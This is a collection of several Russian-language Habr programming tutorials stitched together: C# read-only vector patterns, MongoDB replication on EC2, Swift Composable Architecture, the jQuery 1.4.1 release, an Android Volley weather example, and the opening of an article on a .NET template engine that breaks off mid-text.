(Кстати, между Vector и IVectorConst (или IVectorReader – кому как нравится) можно добавить ещё и контравариантный IVectorWriter.)
И всё бы ничего, но ReadVector’у ничто не мешает сделать downcast к Vector и изменить его. Однако, если вспомнить const из C++, данный способ ничем не менее надёжен, как столь же ненадёжный const, никак не запрещающий любые преобразования указателей. Если вам этого достаточно, можно остановиться, если нет – идём дальше.
##### 3. Отделение константного объекта посредством «Адаптера»
Запретить вышеупомянутый downcast мы можем только одним способом: сделать так, чтобы Vector не наследовал от IVectorConst, то есть отделить его. Один из способов сделать это — создать «Адаптер» VectorConst (спасибо [osmirnov](http://habrahabr.ru/users/osmirnov/) за то, что напомнил об этом способе, без него статья была бы неполной). Выглядеть это будет подобным образом:
```
interface IVector
{
T this[int nIndex] { set; }
}
interface IVectorConst
{
T this[int nIndex] { get; }
}
class VectorConst : IVectorConst
{
private readonly Vector \_vector;
public VectorConst(Vector vector)
{
\_vector = vector;
}
public T this[int nIndex]
{
get { return \_vector[nIndex]; }
}
}
class Vector : IVector
{
private readonly T[] \_vector;
public Vector(int nSize)
{
\_vector = new T[nSize];
}
public T this[int nIndex]
{
get { return \_vector[nIndex]; }
set { \_vector[nIndex] = value; }
}
public IVectorConst AsConst
{
get { return new VectorConst(this); }
}
}
```
Как мы видим, константный объект (VectorConst) полностью отделился от основного, и downcast из него сделать уже не получится. Отдавая его кому-то, мы можем спать спокойно, будучи уверенными, что наш вектор останется в неизменном виде.
VectorConst не содержит собственной реализации (вся она по-прежнему находится в Vector), он просто переадресует её экземпляру Vector. Но не всё тут так гладко, как хотелось бы… При обращении к VectorConst происходит уже не один вызов, а два, а это уже может быть накладно с т.з. производительности. К тому же, при каждом изменении интерфейса основного объекта придётся дописывать/редактировать методы в IVectorConst и VectorConst, причём при появлении новых подходящих методов компилятор не заставит нас это сделать, мы должны помнить об этом сами, а это лишняя головная боль. Но если эти минусы не столь критичны, то этот подход наверное будет оптимальным. И в особенности, если основной объект уже написан и переписывать его невозможно или нецелесообразно.
##### 4. Реальное отделение константного объекта
На том же примере с вектором, это будет выглядеть следующим образом:
```
interface IVectorConst
{
T this[int nIndex] { get; }
}
interface IVector
{
T this[int nIndex] { set; }
}
struct VectorConst : IVectorConst
{
private readonly T[] \_vector;
public VectorConst(T[] vector)
{
\_vector = vector;
}
public T this[int nIndex]
{
get { return \_vector[nIndex]; }
}
}
struct Vector : IVector
{
private readonly T[] \_vector;
private readonly VectorConst \_reader;
public Vector(int nSize)
{
\_reader = new VectorConst(\_vector = new T[nSize]);
}
public T this[int nIndex]
{
set { \_vector[nIndex] = value; }
}
public VectorConst Reader
{
get { return \_reader; }
}
public static implicit operator VectorConst(Vector vector)
{
return vector.\_reader;
}
}
```
Теперь наш VectorConst не только отделён, но и сама реализация вектора разделена на две части. Всё, чем нам пришлось за это заплатить с т.з. производительности, — это инициализация структуры VectorConst копированием ссылки на \_vector и дополнительная ссылка в памяти. При передаче VectorConst в метод происходит вызов свойства и такое же копирование. Таким образом, можно сказать, что по производительности это практически равносильно передаче в метод экземпляра T[], но с защитой от изменений (чего мы и добивались). А чтобы при передаче экземпляра Vector в методы, принимающие VectorConst, не вызывать явно лишний раз свойство Reader, можно добавить в Vector оператор преобразования:
```
public static implicit operator VectorConst(Vector vector)
{
return vector.\_reader;
}
```
Однако при непосредственном использовании объекта без вызова свойства Reader нам не обойтись:
```
var v = new Vector(5);
v[0] = 0;
Console.WriteLine(v.Reader[0]);
```
И также нам не обойтись без него, если нам понадобится использовать ковариантность IVectorConst (несмотря на наличие оператора преобразования):
```
class A
{
}
class B : A
{
}
private static void ReadVector(IVectorConstvector)
{
...
}
var vector = new Vector**();
ReadVector(vector.Reader);**
```
И это главный и, пожалуй, единственный минус данного подхода: его использование несколько непривычно из-за необходимости в ряде случаев вызывать Reader. Но пока в C# отсутствует const для аргументов, в любом случае придётся чем-то жертвовать.
Многие наверное скажут, что всё это прописные истины. Но возможно для кого-то эта статья и эти несложные шаблоны окажутся полезными. | https://habr.com/ru/post/199520/ | null | ru | null |
# Репликация MongoDB на Amazon EC2
#### system.indexes
* Предисловие
* Настройка Amazon EC2
* Установка MongoDB
* Настройка репликации
* Что почитать
#### local.abstract
В этой статье я расскажу о том, как максимально безболезненно организовать репликацию MongoDB на базе Amazon EC2. Несомненно, существует отличная документация как по работе с Amazon EC2, так и по настройке MongoDB в целом и репликации в частности. Но, как известно, дьявол живёт в мелочах. И в этой статье я выделю те “мелочи”, которые более всего донимали меня.
#### {step: 1, title: «Amazon EC2 configure», devilCount: 2}
Начнём с начала – с настройки инстансов.
Первым делом надо создать две группы приватности: для web-инстансов и для инстансов базы данных.
Для web-инстансов откроем доступ для SSH, HTTP и HTTPS:
Для db-инстансов откроём всё тот же доступ по SSH, плюс доступ на порт 27017 для групп приватности web и db:
Теперь можем запускать сами инстансы: один small-инстанс для web-приложения, два large- и один micro- инстанс для базы данных. В качестве Amazon Machine Image (AMI) я выбрал Ubuntu Server 12. Важно: чтобы репликация MongoDB заработала, обязательным условием является нечётное количество инстансов. С этой целью мы и будем использовать 3й – микро-инстанс – в качестве арбитра. О том что такое арбитр, я расскажу ниже. Конечно, мы бы могли просто запустить и 5, 7 или 2n + 1 large-инстансов. Но данным примером я хочу показать хороший вариант того, как можно минимизировать затраты на Amazon EC2, и лишний раз акцентирую внимание на том, что инстансов в репликации должно быть нечётное количество.
Есть ещё один неочевидный, но достаточно весомый ньюанс – динамичность IP-адресов у инстансов. Соответственно завязываться на них при настройке репликации – не самый идеальный вариант. Лучше для этих целей воспользоваться алиасами, которые настраиваются в файле /etc/hosts. На каждом инстансе приведём файл hosts примерно к такому виду:
```
127.0.0.1 db1 localhost
10.40.120.30 db1
10.40.120.31 db2
10.40.120.32 db3
```
Теперь мы имеем готовые к дальнейшему использованию инстансы.
#### {step: 2, title: «MongoDB install», devilCount: 1}
Приступим к установке MongoDB. Процесс установки отлично описан в официальном мануале MongoDB, так что следуем чётко его указаниям. Создадим файл mongo\_install.bash и запишем в него следующий скрипт:
```
apt-key adv --keyserver keyserver.ubuntu.com --recv 7F0CEB10
echo "deb http://downloads-distro.mongodb.org/repo/ubuntu-upstart dist 10gen" | tee -a /etc/apt/sources.list.d/10gen.list
apt-get -y update
apt-get -y install mongodb-10gen
```
Выполняем наш скрипт:
```
sudo bash ./mongo_install.bash
```
Если всё прошло успешно, то мы увидим PID запущенного MongoDB:
```
mongodb start/running, process 2368
```
Теперь осталось запустить процесс mongod:
```
sudo service mongodb start
```
Маленькая хитрость напоследок: чтобы не проходить столь мучительный и однообразный путь установки софта на каждом инстансе, можно воспользоваться функциональностью Amazon EC2 Images.
#### {step: 3, title: «Replication», devilCount: 2}
Вот мы и подошли к главному пункту – настройке репликации. Сперва, определим в файлах конфигурации (/etc/mongodb.conf) на всех db-инстансах параметр replSet. Этот параметр должен содержать имя репликации:
```
replSet = myproject
```
После этого перезапускаем сервис:
```
sudo service mongodb restart
```
Далее подключаемся к Монге командой
```
mongo
```
Инициируем реплику:
```
rs.initiate()
```
Добавляем второй инстанс в нашу репликацию:
```
rs.add("db2:27017")
```
Третий же инстанс, и это важно, добавляем как арбитр:
```
rs.addArb("db3:27017")
```
Арбитр не хранит свою копию базы данных. Он не участвует ни в записи, ни в чтении данных. Предназначен исключтельно для голосования за Primary. Этим и обусловлен тот факт, что мы можем запускать арбитра на минимальном железе.
Посмотрим текущий статус реплики:
```
mydb:PRIMARY> rs.status()
{
"set" : "myproject",
"date" : ISODate("2013-02-04T12:17:42Z"),
"myState" : 1,
"members" : [
{
"_id" : 0,
"name" : "db1:27017",
"health" : 1,
"state" : 1,
"stateStr" : "PRIMARY",
"uptime" : 1139012,
"optime" : Timestamp(1359738450000, 12),
"optimeDate" : ISODate("2013-02-01T17:07:30Z"),
"self" : true
},
{
"_id" : 1,
"name" : "db2:27017",
"health" : 1,
"state" : 2,
"stateStr" : "SECONDARY",
"uptime" : 1138953,
"optime" : Timestamp(1359738450000, 12),
"optimeDate" : ISODate("2013-02-01T17:07:30Z"),
"lastHeartbeat" : ISODate("2013-02-04T12:17:42Z"),
"pingMs" : 0
},
{
"_id" : 2,
"name" : "db3:27017",
"health" : 1,
"state" : 2,
"stateStr" : "SECONDARY",
"uptime" : 442498,
"optime" : Timestamp(1359738450000, 12),
"optimeDate" : ISODate("2013-02-01T17:07:30Z"),
"lastHeartbeat" : ISODate("2013-02-04T12:17:40Z"),
"pingMs" : 0
}
],
"ok" : 1
}
```
Узнать какое поле за что отвечает можно узнать здесь: [docs.mongodb.org/manual/reference/replica-status/#fields](http://docs.mongodb.org/manual/reference/replica-status/#fields)
Проверим конфиг:
```
mydb:PRIMARY> rs.config()
{
"_id" : "myproject",
"version" : 12,
"members" : [
{
"_id" : 0,
"host" : "db1:27017"
},
{
"_id" : 1,
"host" : "db2:27017"
},
{
"_id" : 2,
"host" : "db3:27017",
"arbiterOnly" : true
}
]
}
```
Видим, что всё выглядит именно так, как мы и задумали. Ура!
И на десерт ещё один момент. В настройках реплики у каждого участника среди прочих есть свойство priority. По умолчанию оно равняется 1 и, как дефолтное значение, не отображается в конфиге. Это значение влияет на вероятность того, что участник будет избран Primary. Сделаем так, чтобы db1 был гарантировано Primary (ну, например, у него больше памяти):
```
config = rs.config()
config.members[0].priority = 2
rs.reconfig(config)
```
Теперь конфиг будет выглядить следующим образом:
```
mydb:PRIMARY> rs.config()
{
"_id" : "myproject",
"version" : 12,
"members" : [
{
"_id" : 0,
"host" : "db1:27017",
"priority" : 2
},
{
"_id" : 1,
"host" : "db2:27017"
},
{
"_id" : 2,
"host" : "db3:27017",
"arbiterOnly" : true
}
]
}
```
[Очень важное замечание](http://habrahabr.ru/post/168691/#comment_5842111) от [StamPit](http://habrahabr.ru/users/stampit/):
Проблема: Не указан размер oplog. Для 64bit систем по умолчанию он составляет 5% от доступного дискового пространства, но не менее 1Gb. Если диск большой и средняя активность insert/update — стоит ограничить размер в конфиге, 2000Mb вполне достаточно:
```
oplogSize = 2000
```
Если данных не так много, а количество insert/update не слишком велико, можно слегка уменьшить дисковую активность следующим образом:
1) Отключить preallocate noprealloc = true
2) Уменьшить размер файлов (уменьшатся как файлы данных, так и журнала) smallfiles = true
Пожалуй, это и всё, что понадобится для того, чтобы настроить репликацию Монги на базе Amazon EC2. При необходимости вы сможете легко добавлять новые инстансы в такую конфигурацию.
#### local.links
1. Amazon EC2 [aws.amazon.com/documentation/ec2](http://aws.amazon.com/documentation/ec2)
2. MongoDb Installation [docs.mongodb.org/manual/tutorial/install-mongodb-on-ubuntu](http://docs.mongodb.org/manual/tutorial/install-mongodb-on-ubuntu/)
3. MongoDB [docs.mongodb.org/manual/tutorial/getting-started](http://docs.mongodb.org/manual/tutorial/getting-started)
4. MongoDb Replication [docs.mongodb.org/manual/replication](http://docs.mongodb.org/manual/replication)
5. MongoDb Replica Set Arbiters [docs.mongodb.org/manual/administration/replica-sets/#replica-set-arbiters](http://docs.mongodb.org/manual/administration/replica-sets/#replica-set-arbiters)
6. MongoDb Replica Set Configuration [docs.mongodb.org/manual/reference/replica-configuration](http://docs.mongodb.org/manual/reference/replica-configuration/) | https://habr.com/ru/post/168691/ | null | ru | null |
# Composable Architecture — свежий взгляд на архитектуру приложения
Сбалансированная архитектура мобильного приложения продлевает жизнь проекту и разработчикам.
История
-------
Познакомьтесь с Алексом. Ему необходимо разработать приложение для составления списка покупок. Алекс опытный разработчик и первым делом формирует требования к продукту:
1. Возможность портирования продукта на другие платформы (watchOS, macOS, tvOS)
2. Полностью автоматизированный регресс приложения
3. Поддержка iOS 13+
Недавно Алекс познакомился с проектом [pointfree.co](http://pointfree.co), где Брэндон и Стивен поделились своим видением современной архитектуры приложения. Так Алекс узнал о Composable Architecutre.
Composable Architecture
-----------------------
Изучив документацию к Composable Architecture, Алекс определил, что имеет дело с однонаправленной архитектурой, соответствующей требованиям к проекту. Из брошюры следовало:
1. Разбиение проекта на модули;
2. Data-driven UI — конфигурация интерфейса определяется его состоянием;
3. Вся логика модуля покрывается юнит тестами;
4. Snapshot тестирование интерфейсов;
5. Поддержка iOS 13+, macOS, tvOS и watchOS;
6. Поддержка SwiftUI и UIKit.
Перед тем, как погружаться в изучение архитектуры, давайте посмотрим на такой объект, как умный зонтик.
**Как описать систему, по которой устроен зонтик?**
У системы зонтика можно выделить четыре компонента:
**Состояние.** У зонтика есть два состояния: свернут и открыт.
**Действия.** Зонтик можно открыть и закрыть.
**Механизм.** Автоматический зонтик открывается и закрывается с помощью встроенного механизма.
**Сервисы.** Умный зонтик отправляет уведомление на телефон при удалении от него на 10 метров.
Таким же образом в composable architecture описывается экран или вью. Предлагаю взглянуть на схему.
Ты еще помнишь как работает зонтик? Давай посмотрим, как бы это было в боевых терминах.
**UI** — пользователь [зонтика];
**Action** — набор допустимых действий;
**State** — состояние [зонтика];
**Environment** — набор внешних сервисов [сервис взаимодействия с телефоном];
**Reducer** — механизм, выполняющий работу по изменению состояния [зонтика] и порождающий эффекты;
**Effect** — задача, по завершению которой возвращается action в reducer.
Список продуктов (Часть 1)
--------------------------
Определение компонентов системы
-------------------------------
Вооружившись новыми знаниями Алекс приступил ~~к написанию кода~~ к проектированию главного экрана приложения.
Для начала определим основные компоненты для списка продуктов. Состояние списка можно описать массивом продуктов, а в качестве действий ограничимся добавлением продукта.
```
struct ShoppingListState {
var products: [Product] = []
}
enum ShoppingListAction {
case addProduct
}
```
Тогда reducer для такой системы будет выглядеть следующим образом:
```
let shoppingListReducer = Reducer { state, action, env in
switch action {
case .addProduct:
state.products.insert(Product(), at: 0)
return .none
}
}
```
По аналогии опишем компоненты системы для элемента списка:
```
struct Product {
var id = UUID()
var name = ""
var isInBox = false
}
enum ProductAction {
case toggleStatus
case updateName(String)
}
let productReducer = Reducer { state, action, env in
switch action {
case .toggleStatus:
state.isInBox.toggle()
return .none
case .updateName(let newName):
state.name = newName
return .none
}
}
```
Из примера видно, что reducer описывается функцией, в которую передается текущее состояние системы, действие и окружение. В нашем примере окружение пока не используется и reducer не возвращает никаких эффектов.
Описав и ~~протестировав~~ систему можно приступить к верстке UI и сбору отдельных компонентов системы.
### Верстка UI
С учетом требований к поддержке iOS 13+ и полной совместимости Composable Architecture со SwiftUI, будем использовать его для верстки интерфейса приложения.
Для того, чтобы объединить компоненты в систему необходимо создать **Store**:
```
typealias ShoppingListStore = Store
let store = ShoppingListStore(
initialState: ShoppingListState(products: []),
reducer: shoppingListReducer,
environment: ShoppingListEnviroment()
)
```
Store по своему поведению похож на viewModel из MVVM — передается и хранится во вью.
```
let view = ShoppingListView(store: store)
struct ShoppingListView: View {
let store: ShoppingListStore
var body: some View {
Text("Hello, World!")
}
}
```
Composable Architecture предоставляет несколько полезных инструментов для работы со SwiftUI. Для того, чтобы использовать store как ObservedObject, его стоит обернуть в WithViewStore:
```
var body: some View {
WithViewStore(store) { viewStore in
NavigationView {
Text("\(viewStore.products.count)")
.navigationTitle("Shopping list")
.navigationBarItems(
trailing: Button("Add item") {
viewStore.send(.addProduct)
}
)
}
.navigationViewStyle(StackNavigationViewStyle())
}
}
```
На этом этапе у нас есть кнопка Add item, которая увеличивает количество продуктов в списке. События отправляются в редьюсер через метод *send(Action)* у стора.
Для того, чтобы отобразить список, сверстаем вьюшку для отображения продукта:
```
struct ProductView: View {
let store: ProductStore
var body: some View {
WithViewStore(store) { viewStore in
HStack {
Button(action: { viewStore.send(.toggleStatus) }) {
Image(
systemName: viewStore.isInBox
? "checkmark.square"
: "square"
)
}
.buttonStyle(PlainButtonStyle())
TextField(
"New item",
text: viewStore.binding(
get: \.name,
send: ProductAction.updateName
)
)
}
.foregroundColor(viewStore.isInBox ? .gray : nil)
}
}
}
```
### Композиция
У нас есть две независимые системы и их представления. Как же их соеденить? В дело вступает ~~черная магия~~ композиция.
```
enum ShoppingListAction {
// Добавляем поддержку событий для продукта по индексу
case productAction(Int, ProductAction)
case addProduct
}
// Соеденям два механизма друг с другом
// т.к. редьюсер это функция, редьсеры можно комбинировать
let shoppingListReducer: Reducer = .combine(
// Добавляем редьюсеры, обрабатывающие события для каждого продукта
productReducer.forEach(
// Key path
state: ShoppingListState.products,
// Case path
action: /ShoppingListAction.productAction,
environment: { \_ in ProductEnviroment() }
),
Reducer { state, action, env in
switch action {
case .addProduct:
state.products.insert(Product(), at: 0)
return .none
// Все текущие действия обрабатываются в productReducer
case .productAction:
return .none
}
}
)
```
Комбинация редьюсеров похожа на соединение шестеренок в часах. Соединение редьюесером друг с другом позволяет обновлять верхний стейт при изменении вложенного.
Осталось обновить UI для отображения списка продуктов:
```
var body: some View {
WithViewStore(store) { viewStore in
NavigationView {
List {
// для каждого продукта
ForEachStore(
// создаем store
store.scope(
state: \.products,
action: ShoppingListAction.productAction
),
// создаем вью
content: ProductView.init
)
}
.navigationTitle("Shopping list")
.navigationBarItems(
trailing: Button("Add item") {
viewStore.send(.addProduct)
}
)
}
.navigationViewStyle(StackNavigationViewStyle())
}
}
```
Итого у нас ушло примерно 150 строк кода на реализацию простого списка, позволяющего добавлять продукты и помечать приобретенные товары.
Смотри в следующей серии
------------------------
[Часть 2 – пишем тесты](https://habr.com/ru/post/528178/)
Часть 3 – расширяем функционал, добавляем удаление и сортировку продуктов *(in progress)*
Часть 4 – добавляем кэширование списка и идем в магазин *(in progress)*
Источники
---------
Список продуктов Часть 1: [github.com](https://github.com/onsissond/Training/tree/project/ComposableArchitecture)
Портал авторов подхода: [pointfree.co](https://www.pointfree.co)
Исходники Composable Architecture: <https://github.com/pointfreeco/swift-composable-architecture> | https://habr.com/ru/post/526782/ | null | ru | null |
# Вышел jQuery 1.4.1
 Ура, товарищи! Встречаем новую версию jQuery и радуемся, что разработчики этой замечательной javascript библиотеки все так же интенсивно развивают и продвигают свое детище! Не успели мы освоиться с jQuery 1.4, как подкатил новый релиз.[](http://www.nayjest.ru/jquery/jquery-141-released)
В jQuery 1.4.1 исправили несколько багов, появившихся в версии 1.4 и наславу поработали над API.
1. Скачать jQuery 1.4.1 можно здесь:
------------------------------------
* [jQuery 1.4.1](http://code.jquery.com/jquery-1.4.1.js) (157kb)
* [jQuery 1.4.1 Minified](http://code.jquery.com/jquery-1.4.1.min.js) (23kb [Gzipped](http://www.julienlecomte.net/blog/2007/08/13/))
2. А теперь предлагаю ознакомиться с нововведениями:
----------------------------------------------------
* Разработчикам пришло в голову, что их изначальная идея обозвать события «blur» и «focus» (потеря и получение фокуса html элементами) новыми именами, а именно «focusin» и «focusout» возможно была и не так хороша, так что теперь в методе .live() мы можем использовать первый вариант («focusin» и «focusout» естественно никуда не делись в целях обратной совместимости).
* Та же ситуация с событиями «mouseenter», «mouseleave». Теперь кроме них в методе .live() можно использовать еще и метод «hover»
* Для метода .live() теперь можно задавать несколько типов событий, как и для .bind(). Пример, каким образом это может быть полезно:
`$('#some_element').live('mouseenter mouseleave', function() {
$(this).toggleClass('entered');
});`
* Еще раз рациональное мышление посетило создателей jQuery, когда они присмотрелись к методу .die(). Ну, или хорошие разработчики отправляют им правильные тикеты в багтреккер :) Изначально призвана для того, чтобы удалять обработчики событий, назначенные с помощью метода .live(), теперь функция .die() может удалить их все, если ее вызвать без параметров (т. е. не нужно передавать в нее тип события, для которого нужно удалить обработчиков).
* Теперь в методы .height() и .width() можно передавать параметром функцию, которая будет соответственно устанавливать высоту / ширину.
* Функции .parseJSON() (парсит JSON строку в javascript объект) и .error() (единый механизм вывода ошибок — это хорошо) теперь доступны всем (ранее использовались только внутри jQuery), что вполне логично, как по мне.
Еще исправлена куча багов, но останавливаться на них детально не буду, об этом [читаем здесь](http://jquery14.com/day-12/jquery-141-released) (на английском).
Спасибо за внимание. Не ленимся, обновляем jQuery в своих проектах ;) | https://habr.com/ru/post/82008/ | null | ru | null |
# Использование библиотеки Volley в Android на примере получения данных из погодного API
Каждому Android-разработчику рано или поздно приходится работать с сетью. В Android есть множество библиотек с открытым исходным кодом, таких как Retrofit, OkHttp или, например, Volley, на которой мы сегодня остановимся подробнее.
Итак, что же эта библиотека из себя представляет?
Volley — это HTTP-библиотека, которая упрощает и ускоряет работу в сети для приложений Android.
[Код библиотеки на GitHub](https://github.com/google/volley) .
Итак, для начала работы с Volley нам необходимо добавить её в build.gradle(module:app):
```
dependencies {
...
implementation 'com.android.volley:volley:1.1.1'
}
```
Также необходимо добавить разрешение на использование интернета в манифесте нашего приложения:
Далее нам понадобится API. В данном туториале я воспользуюсь погодным API с сайта [openweathermap.org/api](https://openweathermap.org/api) .
[Пример данного API](https://samples.openweathermap.org/data/2.5/weather?id=2172797&appid=b6907d289e10d714a6e88b30761fae22)
Для начала создадим простую разметку для отображения данных, взятых из API (Application programming interface).
```
xml version="1.0" encoding="utf-8"?
```
Далее заходим в MainActivity и создаем необходимые поля:
```
private static final String testUrl = "https://samples.openweathermap.org/data/2.5/weather?id=2172797&appid=b6907d289e10d714a6e88b30761fae22"; //url, из которого мы будем брать JSON-объект
RequestQueue mRequestQueue; // очередь запросов
TextView tempTextView,windTextView; // текстовые поля для отображения данных
double temp = 0,windSpeed = 0; // переменные для взятия данных из JSON
```
Инициализируем созданные поля поля в onCreate:
```
tempTextView = findViewById(R.id.tempTextView);
windTextView = findViewById(R.id.windTextView);
mRequestQueue = Volley.newRequestQueue(this);
```
Теперь подходим к основной теме данного туториала — получение данных из API при помощи библиотеки Volley:
1) В MainActivity создаем метод GetWeather:
```
private void getWeather(String url) {
final JsonObjectRequest request = new JsonObjectRequest(Request.Method.GET, //GET - API-запрос для получение данных
url, null, new Response.Listener() {
@Override
public void onResponse(JSONObject response) {
try {
JSONObject weather = response.getJSONObject("main"),wind = response.getJSONObject("wind"); //получаем JSON-обьекты main и wind (в фигурных скобках - объекты, в квадратных - массивы (JSONArray).
temp = weather.getDouble("temp");
windSpeed = wind.getDouble("speed");
// присваеваем переменным соответствующие значения из API
setValues(); // создадим метод setValues для присваивания значений переменным
} catch (JSONException e) {
e.printStackTrace();
}
}
}, new Response.ErrorListener() { // в случае возникновеня ошибки
@Override
public void onErrorResponse(VolleyError error) {
error.printStackTrace();
}
});
mRequestQueue.add(request); // добавляем запрос в очередь
}
```
*для приведения json'а в нормальный вид использован* [jsonformatter](https://jsonformatter.org/)
Стоит заметить, что имена объектов должны быть записаны точно так же, как и в нашем API, иначе они просто не 'достанутся'.
2) Создаем, непосредственно, метод setValues:
```
private void setValues() {
tempTextView.setText("Температура: " + temp);
windTextView.setText("Скорость ветра: " + windSpeed);
}
```
3) Вызываем методы getWeather() и setValues() в onCreate():
```
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
getWeather(testUrl);
setValues();
}
```
4) Запускаем приложение и… готово!
P.S: Несколько полезных ссылок для желающих более глубоко разобраться в вопросе:
[Официальная документация библиотеки Volley](https://developer.android.com/training/volley?hl=ru)
[Для лучшего понимания сути API](https://habr.com/ru/post/464261/#nabor)
[Типы HTTP-запросов](https://habr.com/ru/post/50147/)
[Запись данных в формате JSON](https://habr.com/ru/post/230079/)
[P.S.S.: Файлы приложения на GitHub](https://github.com/wllboy/HabrTest) | https://habr.com/ru/post/495976/ | null | ru | null |
# Шаблоны, или что общего у приходного кассового ордера и метода ToString()
Вот как-то так оно и выглядит...Задачу генерации текстовых строк по шаблону никак нельзя назвать новой, даже с натяжкой. Сюда можно отнести и заполнение стандартных форм наподобие приходных кассовых ордеров, и экспорт XML/JSON во внешние системы, когда состав данных меняется реже формы их представления. Если основательно задуматься в момент натягивания совы на глобус, то в ту же категорию можно отнести и задачу формирования отчетов, и настраиваемые реализации метода ToString(), и… да много еще чего.
Объединяет эти случаи одно: входными данными являются не только какие-то циферки сами по себе, но и шаблон, на основании которого они должны быть отформатированы для потребителя. Для программистов это удобно тем, что из разработки выкидывается довольно жирный кусок рутины, который можно перепоручить ~~кому попало~~ другим отделам. Для пользователей тоже хорошо, так как позволяет творить всякую фигню и настраивать продукт под себя (что бы это ни значило). Ну и совсем уж замечательно становится, когда внезапные изменения внешнего вида документов, придуманные затейниками из Минфина, не требуют внепланового деплоя новой версии продукта, а всего лишь элегантной правки шаблона.
В общем, оставим сову в покое и признаем, что в некоторых случаях шаблоны – это хорошо. А вот что нам может предложить .NET для того, чтобы воспользоваться преимуществами этой идеи?
Широко известные T4 и Source Generators – это, конечно, замечательно, но работают они в момент компиляции, что нас не устраивает по определению. Более детальная эксплуатация гугла показывает, что template engines, в принципе, есть, но все они обладают фатальным недостатком. А потому попробуем разработать что-нибудь свое. Так и назовем – One More Template Transformer – или, сокращенно, Omtt.
Основные идеи
-------------
### Шаблон
Предполагается, что шаблон – это просто строка некоторого не слишком большого размера, которая будет чаще использоваться, чем изменяться. Важно ли знать формат шаблона? На первый взгляд кажется, что нет. На второй – тоже. А затем вспоминается, что для того же Html хорошо бы некоторые символы экранировать. Запомним.
### Исходные данные
Подумаем теперь про сами данные. Требовать их предоставления в каком-то специальном виде было бы не слишком гуманно для пользователей Omtt. А вот передача самого обычного CLR объекта, содержащего нужные свойства, выглядит рабочей идеей.
Сам объект, равно как и его свойства, может быть некоторым элементарным типом, классом со своим собственным набором свойств, а то и вообще коллекцией. Отсюда следует сразу пара выводов:
Во-первых, необходим механизм навигации по графу объектов. Синтаксис следующего вида вполне привычен, поэтому и возьмем его за основу:
```
this.SomeChild.SomeCollection[12].SomeProperty
```
Во-вторых, объем преобразуемых шаблоном данных, с учетом поддержки коллекций, может оказаться весьма большим, поэтому на входе нас обязан спасать IEnumerable, а на выходе Stream – таким образом мы сможем минимизировать количество информации в оперативной памяти в любой момент времени.
Интересный момент - а откуда брать эти самые исходные данные в программе? В простейшем случае - структура классов прибита гвоздями и хорошо документирована для пользователя. А что, если большая часть этих данных пользователю не нужна? Или, например, нужно что-то немножко другое? И вообще, для кого люди старались, придумывая всякие SQL'ы и GraphQL'ы?
Все это к тому, что было бы полезно уметь не только генерировать по шаблону результат, но и схему данных, которая в этом шаблоне используется.
### Разметка
В принципе, любая строка может являться шаблоном, который, в вырожденном случае, просто порождает сам себя. Но что делает идею по-настоящему полезной – это управляющие конструкции, преобразующие исходные данные в результат.
Рассмотрим, например, циклы, где для каждого объекта из входного списка мы хотим сгенерировать некоторый под-шаблон. Получается, что разметка должна содержать четыре основные части:
1. управляющие символы, сигнализирующие о начале и конце элемента разметки,
2. команду – что мы хотим сделать,
3. входные параметры – какие данные мы этой команде передаем,
4. внутренний шаблон – указания команде, как форматировать свой результат.
В результате получается вот такой синтаксис:
```
<#inner template#>
```
* `<#` и `#>` сообщают об открытии и закрытии элемента разметки,
* `operation` – является именем операции, например, `forEach`,
* `attr="expr"` – говорит о том, что параметру операции по имени "attr" присваивается некоторое выражение "expr",
* `inner template` – представляет собой вложенный шаблон, формируемый по общим правилам. Таким образом появляется возможность создавать размеченные документы с любым уровнем вложенности.
### Разметка операции вывода
Синтаксис разметки получился логичным, и не сказать, чтобы очень многословным. Но что, если попробовать использовать его для максимально частой операции – для вывода текста?
```
<##>
```
Здесь мы хотим вывести значение свойства `Amount` переданного объекта, отформатировав его 2 разрядами после запятой, используя российскую `CultureInfo` и размещая в поле из 10 символов с выравниванием по правому краю.
Сложно. Очень сложно. А что, если перенять основную идеологическую фишку C# последних лет и добавить щепотку синтаксического сахара? Например, так:
```
{{this.Amount|F2|ru|10}}
```
Двойные фигурные скобки – это, собственно, синтаксический сахар и есть. А четыре выражения в них – это как раз все перечисленные выше параметры операции. Естественно, их можно опускать. Так, например, валиден и вот такой вывод, не подразумевающий никакого форматирования вовсе:
```
{{this.Amount}}
```
Стало лучше? Кажется, да. Но остался вопрос – а что же такое выражение?
### Выражения
Самый простой и самый необходимый вариант того, что можно назвать выражением – это доступ к свойствам объекта данных. Вот такая строчка, напомню:
```
this.SomeChild.SomeCollection[12].SomeProperty
```
В принципе, на этом можно было бы и остановиться: управляющий код формирует все необходимые объекты, а шаблон описывает исключительно подстановку этих данных в нужные места.
Опыт подсказывает, что не все так просто: часто требуется, к примеру, показать отдельно цену без НДС, отдельно сам налог, а затем сумму двух предыдущих значений. Конечно, ничего не мешает выполнить элементарное сложение в коде, но этот путь однозначно приведет к переусложнению программы, а это именно то, чего хочется избежать. Так что придется все-таки реализовывать простенькие вычисления внутри выражений, что-то вроде
```
this.PriceWithoutVAT + this.VAT
```
Известно ли шаблону заранее, какого типа здесь операнды? Скорее всего – нет, в противном случае появляется довольно много мест для удара головой: начиная от неверно назначенных типов и заканчивая необходимостью объяснения пользователям шаблонов, что же такое тип. А потому – да здравствует динамическая типизация (передаем привет горячо любимому JavaScript).
Следующим шагом в продолжение размышлений над розничной торговлей приходит понимание о необходимости добавления внутренних переменных в механизм выражений – а как иначе посчитать общую сумму чека?
Затем, на всякий случай, хочется добавить условные операторы и блоки выражений, а также что-нибудь еще… Чтобы остановиться вовремя, но не слишком огорчаться минимализму встроенных функций, принимается решение о поддержке пользовательских функций – написанных на C#, но доступных в момент обработки шаблона.
### Расширяемость
Расширяемость – штука обоюдоострая. С одной стороны, это техническая победа над нефункциональными требованиями. С другой стороны, это может выглядеть и как признание в собственном бессилии: «вот вам API, делайте что хотите, а я пошел».
При всем этом благородную попытку реализовать встроенные функции для всего и сразу поймут не только лишь все. Интринсики – хороший тому пример (ну, мы же любим их, да?).
Поэтому, проанализировав все за и против, было принято решение ограничиться минимальной комплектацией Omtt по умолчанию; потенциально интересную для широкой публики функциональность вынести в отдельные пакеты (благо NuGet позволяет); ну а специфичные для конкретных проектов вещи оставить в приватных репозиториях.
Что же, собственно, можно расширять?
Во-первых, новые операции разметки.
